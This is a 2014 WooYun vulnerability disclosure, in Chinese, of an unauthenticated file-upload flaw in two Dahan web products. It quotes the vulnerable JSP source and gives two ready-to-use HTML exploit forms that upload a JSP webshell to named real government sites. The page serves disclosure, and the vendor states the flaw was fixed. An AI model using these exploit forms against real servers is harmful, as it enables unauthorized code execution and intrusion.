当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-052617

漏洞标题:某个可能可以影响大汉jiep和vipchat的越权+getshell漏洞

相关厂商:南京大汉网络有限公司

漏洞作者: wefgod

提交时间:2014-03-03 11:32

修复时间:2014-06-01 11:32

公开时间:2014-06-01 11:32

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-03: 细节已通知厂商并且等待厂商处理中
2014-03-03: 厂商已经确认,细节仅向厂商公开
2014-03-06: 细节向第三方安全合作伙伴开放
2014-04-27: 细节向核心白帽子及相关领域专家公开
2014-05-07: 细节向普通白帽子公开
2014-05-17: 细节向实习白帽子公开
2014-06-01: 细节向公众公开

简要描述:

两套系统通用。JIS的真木有发现其它漏洞了,而且之前的漏洞修复的非常快了

详细说明:

vipchat应该是叫在线访谈系统
jiep叫信息交换平台
两套系统存在一个相同的越权+getshell漏洞

漏洞证明:

出现问题的都是setup/opr_setting.jsp
先看jiep的这个文件的部分源码:

//上传操作
boolean b = upload.uploadFile(request);
String jndi = upload.getFormValue("jndi");////jndi参数可控
//上传成功
if (b) {
String[] files = upload.getAllFileName();
//打印文件名称
for (int i = 0; i < files.length; i++) {
String filename = files[i];
//上传文件名称!=注册文件名时,进行改名操作
if (!filename.equals(jndi + ".licence")) {
//删除原文件
File licencefile = new File(strDictionary + jndi
+ ".licence");
if (licencefile.exists())
licencefile.delete();
File file = new File(strDictionary + filename);
file.renameTo(new File(strDictionary + jndi
+ ".licence")); //jndi参数可控
}

}
}


前面是没有相关的登录验证的,jndi参数可控导致了getshell的可能(就算加了登录验证,这里不处理也是没用的,登录验证不是万能的,只是一个最简单的手段,看之前的源码修复情况还是希望厂商略微注意)
来个Exp

<html>
<form action="http://www.gansu.gov.cn/jiep/setup/opr_setting.jsp" name="test" method="post" enctype="multipart/form-data">
<input type="file" name="file" size="23" id="file" />
<input type="hidden" name="jndi" value="jsp.jsp " />
<input type="submit" value="Submit" />
</form>
</html>


提交看下图:

image003.png


会提示500,忽视之。

image004.png


直接连:

image005.png


再看vipchat的源码:

//上传成功
if(b){
String[] files = upload.getAllFileName();

//打印文件名称
for (int i=0;i<files.length;i++){
String filename = files[i];

//上传文件名称!=注册文件名时,进行改名操作
if(!filename.equals( jndi + ".licence")){
//删除原文件
File licencefile = new File(strDictionary+ jndi + ".licence");
if(licencefile.exists())
licencefile.delete();
File file = new File(strDictionary + filename);
file.renameTo(new File(strDictionary+ jndi + ".licence"));
}
}
}


漏洞成因和上面说的一样,jndi参数
来Exp

<html>
<form action="http://www.liaocheng.gov.cn/vipchat/setup/opr_setting.jsp" name="test" method="post" enctype="multipart/form-data">
<input type="file" name="file" size="23" id="file" />
<input type="hidden" name="jndi" value="jsp.jsp " />
<input type="submit" value="Submit" />
</form>
</html>


看图

image001.png


连之:

image002.png

修复方案:

厂商给rank太少了……

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-03-03 16:55

厂商回复:

非常感谢您对大汉产品的关注以及对产品安全方面的指正,涉及问题已在新版本中修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-03-03 12:18 | 刺刺 ( 普通白帽子 | Rank:603 漏洞数:52 | 真正的安全并不是技术,而是人类善良的心灵...)

    他们的东西几乎都是在一个框架下搞出来的。setup目录必不可少,原本以为前几日他们不让你搞了,等过几天我来提交呢。

  2. 2014-03-03 12:27 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @刺刺 类似的漏洞其实他们应该知道了的。

  3. 2014-03-03 12:46 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产;如遇接单收徒、绝非本人所...)

    我是来看楼主的

  4. 2014-03-03 12:49 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)

    厉害!

  5. 2014-03-03 14:28 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    厂商不是不让你提了吗,难道上次封口费给少了? ^_^

  6. 2014-03-03 16:00 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @pandas 没有。他们说欢迎提交啊。